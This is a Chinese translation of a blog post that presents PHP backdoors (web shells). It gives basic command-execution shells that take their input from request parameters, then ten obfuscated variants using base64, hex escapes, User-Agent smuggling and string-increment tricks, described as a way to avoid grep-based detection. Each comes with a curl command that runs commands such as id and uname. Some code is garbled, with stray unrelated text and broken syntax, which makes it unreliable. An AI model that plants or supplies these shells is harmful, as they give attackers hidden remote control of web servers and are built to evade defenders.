常见的php后门,有趣的PHP后门
前言
最近我研究了一种不寻常的小技巧,特地撰写这篇文章来与大家分享。这篇文章提供了许多后门代码中使用的exit()基础知识,开箱即用。
这篇文章的关注点在于全局变量GET,POST,REQUEST。
最常用的函数
(PHP 4, PHP 5, PHP 7)
shell_exec - Execute command via shell and return the complete output as a string
string shell_exec (string $ cmd)
EXEC-> php -r 'shell_exec ("ls -la");'
(PHP 4, PHP 5, PHP 7)
system - Executes an external program and shows the output
string system (string $ command [, int & $ return_var])
EXEC-> php -r 'system ("ls -la");'
(PHP 4, PHP 5, 7 PHP)
exec - Execute external program
string Exec (Command String $ [, $ & array output [int & return_var $]])
EXEC-> php -r 'exec ("ls -la", $ var); print_r ($ var);'
(PHP 4, PHP 5, PHP 7)
passthru - Execute an external program and show the raw output
void passthru (string $ command [, int & $ return_var])
EXEC-> php -r 'passthru ("ls -la", $ var); '
简单的应用
shell_exec:
if (isset ($ _ REQUEST ['cmd'])) {$ cmd = shell_exec ($ _ REQUEST ['cmd']);
print_r ($ cmd);}
system:
if (isset ($ _ REQUEST ['cmd'])) {system ($ _ REQUEST ['cmd']); }
exec:
if (isset ($ _ REQUEST ['cmd'])) {exec ($ _ REQUEST ['cmd']); }
passthru:
if (isset ($ _ REQUEST ['cmd'])) {passthru ($ _ REQUEST ['cmd']); }
我们可以使用相同的函数,但要精心设计,避免使用简单的“grep-E”来显示我们的访问权限。
TIPS
在固定值中使用shellcode
可以不加节制地使用数组
本地函数的连接和变量的定义
base64_decode - encode (data), bin2hex, error_reporting (0)
使用系统上已存在的请求(GET或POST)。
研究恶意属性在系统类中的创建,创建其函数。
处理全局变量$ _SERVER的值。
研究PHP格式CMS文件的感染方法。
示例
示例01
c3lzdGVt = system, dW5hbWUgLWE7bHM7 = uname -a; ls; , aWQ = = id
CODE:
(error_reporting (0)) ($ __ = @ base64_decode ("c3lzdGVt")) $ __ ( base64_decode ("aWQ ="))
. define ("_", "dW5hbWUgLWE7bHM7"). __ ( base64_decode (_)). exit );
执行:
curl -v ‘http://localhost/shell.php'
示例02
c3lzdGVt = system
CODE:
(error_reporting (0) (= @ $ __. base64_decode ( "c3lzdGVt"))
. print ($ __ ( Isset ($ _REQUEST [0]) REQUEST $ _ [0] NULL))?. EXIT );
执行:
curl -v ‘http://localhost/shell.php?0=id'
示例03
ZWNobyhzaGVsbF9leGVjKCRfKSk7 = echo (shell_exec ($ _));
CODE:
( Error_reporting (0)) ($ _ = $ _ REQUEST [0]).
($ __ = @. Create_function ( '$ _' base64_decode ( "ZWNobyhzaGVsbF9leGVjKCRfKSk7"))) ($ __ ($ _) exit..);
执行:
curl -v ‘http://localhost/shell.php?0=id'
示例04
$ _GET [1] = Function name, $ _GET [2] = command that will execute
CODE:
( Error_reporting (0) (= @ $ _ $ _ GET [1]) (.. $ _ ($ _GET [2])). EXIT );
执行:
curl -v ‘http://localhost/shell.php?1=system&2=id;uname'
示例05
$ _REQUEST [1] = Function name, $ _REQUEST [2] = command that will execute
CODE:
( error_reporting (0)). ( extract ($ _REQUEST, EXTR_PREFIX_ALL))
($ _ = @ get_defined_vars () ['_ REQUEST']) ( define ('_', $ _ [2])) (($ _ [1] (_));
示例06
函数:
SFRUUF9VU0VSX0FHRU5U = HTTP_USER_AGENT
CODE:
( error_reporting (0)). ($ _ = @ explode (',', $ _ SERVER [ base64_decode ('SFRUUF9VU0VSX0FHRU5U')]))
($ _ [0] ("{$ _ [1]")). exit ;
示例07
函数:
\x30=0, \x73=s, \x79=y, \x73=s, \x74=t, \x65=e, \x6D=m
CODE:
( error_reporting (0)). ($ _ [0] [] = @ $ _ GET ["\ x30"])
($ _ [1] [] = "\ x73") ($ _ [1] [] = "\ x79").
($ _ [1] [] = "\ x6D") ($ _ [1] [] = "\ x65").($ ___. = $ __ [0])
($ __ = @ get_defined_vars () ['_'] [1])
($ ___. = $ __ [1]) ($ ___. = $ __ [2]) ($ ___. = $ __ [3])
. ($ = ___ __ $ [4].) ($ = $ __ ___ [5].) (($ ___ ( "{$ _ [0] [0]}"))... EXIT );
Execution: curl -v ‘http://localhost/shell.php?0=id;uname%20-a'
示例08
$ _REQUEST [0] = Command that will execute
CODE:
( error_reporting (0)). ( str_replace ('$', '@', '#')
, 's $ ## and @ # $ @ # $ @ # $ @ s $ # $ @ # $ ($ _ {$ _ REQUEST [0]}));
执行:
curl -v ‘http://localhost/shell.php?0=id
示例09
函数:
$ _POST [‘shellrox’] = Command that will execute
CODE:
( error_reporting (0)). ($ _ = [("\ x73 \ x79").
("\ x74 \ x65 \ x6d"), "\ x73 \ x68 \ x65 \ x6c", "\ x6c \ x72 \ x6f \ x78"
($ _ [0] ($ _ POST [$ _ [1]. $ _ [2]]));
执行:
curl -d “shellrox=id;uname -a” -X POST ‘http://localhost/shell.php'
示例10
函数:
$ _ = ""; # we need a blank string to start
Eur-lex.europa.eu eur-lex.europa.eu # access part of the string to convert to an array
$ _ = $ _. ""; # convert the array into a string of "Array"
Eur-lex.europa.eu eur-lex.europa.eu # access the 0 index of the string "Array" which is "A"
# INCREASING VALUES TO FIND THE LETTERS
# IF YOU WANT TO MOUNT THE STRING SYSTEM
($ _ ++); #THE
($ _ ++); #B
($ _ ++); #W
($ _ ++); #D
# FIRST LETTER FOUND IS PLAYED IN A SECONDARY ARRAY
($ ___ [] = $ _ ++);
($ _ ++); #F
($ _ ++); #G
($ _ ++); #H
($ _ ++); #I
($ _ ++); #J
($ _ ++); #K
($ _ ++); #L
# FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY
($ ___ [] = $ _ ++); # M
($ _ ++); #N
($ _ ++); #O
($ _ ++); #P
($ _ ++); #Q
($ _ ++); #R
# FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY
($ ___ [] = $ _ ++);
# FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY
($ ___ [] = $ _ ++); # T
($ _ ++); #U
($ _ ++); #V
($ _ ++); #W
($ _ ++); #X
# FINISHED LETTER IS PLAYED IN A SECONDARY ARRAY
($ ___ [] = $ _ ++);
(Z)
# ARRAY DEBUG:
/ * Array
(
[0] => E
[1] => M
[2] => S
[3] => T
[4] => Y
)
* /
# MOUNT STRING WITH ARRAY FIELDS $ ___
$ ___ [2]. $ ___ [4]. $ ___ [2]. $ ___ [3]. ___ [0]. ___ [1];
# USING ANONYMOUS FUNCTION TECHNIQUE FOR IMPLEMENTATION
$ _____ ('id; uname -a');
极简版本(MINIMALIST VERSION:)
($ _ = $ _ [+] "). ($ _ ++). ($ _ = $ _.
($ _ ++). ($ _ ++). ($ _ ++) ($ _ ++).
($ _ ++). ($ _ ++). ($ _ ++). ($ _ ++).
($ _ ++). ($ _ ++). ($ _ ++). ($ _ ++).
($ _ ++). ($ _ ++). ($ _ ++).
($ ___ [] = $ _ ++). ($ _ ++)
(_____ = $ ___ [2]. $ ___ [4]. ___ [2]. ___ [3]. ___ [0]. ___ [1])
($ _____ ('id; uname -a'));
Execution: curl -v 'http://localhost/shell.php'
注意:还有成千上万的技巧,接下来我会一一撰写文章与大家分享。
参考
翻译来源:https://medium.com/@th3law/hold-the-shit-php-backdoor-for-fun-196c202c8cbf
常见的php后门,有趣的PHP后门相关推荐
- php后门检测工具,phpStudy后门如何检测和修复
背景 一篇<Phpstudy官网于2016年被入*,犯罪分子篡改软件并植入后门>让人触目惊心,从官网的下载官方安装包也会有问题,由此可想而知目前已经有多少网站已经沦陷.接到消息的第一时间, ...
- 服务器有木马后门如何查找SSH后门
关于SSH后门木马查杀,那SSH协议其实它是一个加密的网络传输协议,通常咱们使用它作为Linux管理使用,那它用来传输命令界面和远程执行命令,也就是咱们现在看到的这个界面,通常计算机被入侵之后,如果这 ...
- 服务器后还有一系列留后门,服务器留隐蔽后门
服务器留隐蔽后门 内容精选 换一换 修改裸金属服务器名称.裸金属服务器名称取值范围:只能由中文字符.英文字母(a~z,A~Z).数字(0~9).下划线(_).中划线(-).点(.)组成,且长度为[1- ...
- 浅析Windows2000/XP服务与后门技术(经典后门T-cmd的源码)
一.序言Windows下的服务程序都遵循服务控制管理器(SCM)的接口标准,它们会在登录系统时自动运行,甚至在没有用户登录系统的情况下也会正常执行,类似与UNIX系统中的守护进程(daemon).它们 ...
- iBackDoor(爱后门)和DroidBackDoor(安后门):同时影响iOS和Android的”后门”SDK?
蒸米 · 2015/11/05 10:11 作者:[email protected],[email protected],[email protected] 0x00 FireEye报告 iOS被Xc ...
- php自动生成后门代码,PHP小后门代码
http://blog.ddian.cn/?post=980 1.[代码][PHP]代码 $fp = ''; $path = ''; if(empty($_GET['action'])){ if(em ...
- windows中常见后门持久化方法总结
前言 当我们通过各种方法拿到一个服务器的权限的时候,我们下一步要做的就是后渗透了,而后门持久化也是我们后渗透很重要的一部分,下面我来总结一下windows下常见的后门持久化的方法 后门持久化 我的操作 ...
- 【安全研究】Linux后渗透常见后门驻留方式分析
一.引言 当RedTeam拿下了一台服务器并获取到系统较高权限,但不知道服务器的凭证时,RedTeam会采用怎样的技术获取系统凭证呢?又或者,在RedTeam拿下一台服务器,为达到长久控制的目的而专门 ...
- 20194307肖江宇Exp2—后门原理与实践
文章目录 20194307肖江宇Exp-2后门原理与实践 1.实验基础 1.1基础知识 1.2常用后门工具 NC和Netcat SoCat 任何代理.转发等功能都可以用该工具实现. Meterpret ...
最新文章
- Function in loop and closure
- synchronized的可重入怎么实现的
- Tcp连接arp协议详解
- linux内核那些事之物理内存模型之SPARSE(3)
- 利刃 MVVMLight 2:Model、View、ViewModel结构以及全局视图模型注入器的说明
- 动态绑数据(GridView控件Header和ItemTemplate)
- 那些坑爹的老代码,究竟改还是不改?!
- 5个免费音效素材网站
- Spring-Boot开发者工具:自动重启、LiveReload、远程开发、默认的开发时属性值
- 蚁群算法原理以及应用
- 看图识物_App Store 上的“认识动物-看图识物大全、学英语”
- jmeter菜鸟教程(jmeter安装教程)
- 如何网页访问摄像机?海康威视官方文档
- Python数据类型——数值型详解
- SUST 2019暑期集训题解(差分约束+生成树+传递闭包)
- Processing编程学习指南3.4 鼠标点击和键盘操作
- MySQL鲜为人知的排序方式
- 解决“Liquibase: Waiting for changelog lock”数据库死锁问题
- Natas 幽灵王病毒分析
- 【个人经历】22届-cs保研历程
热门文章
- 一个想法:利用VHD部署系统
- OpenCV-图像锐化
- caffe win 还是 linux,caffe的windows版本安装,超级简单
- 0 full gc时cpu idle_结合GC日志讲讲CMS垃圾收集器
- python输入10个数字排序案例_介绍十个Python小案例,新手入门就在这里
- create报错不是函数_node.js – sequelize .create不是函数错误
- 软件测试都需要哪些工具呢?一文带你看清
- 自学了三个月的软件测试,从小白到自动化测试工程师,我是如何从零拿到大厂offer的
- QT4C-Windows自动化测试框架正式开源
- webdriver原理_(最新版)如何正确移除 Pyppeteer 中的window.navigator.webdriver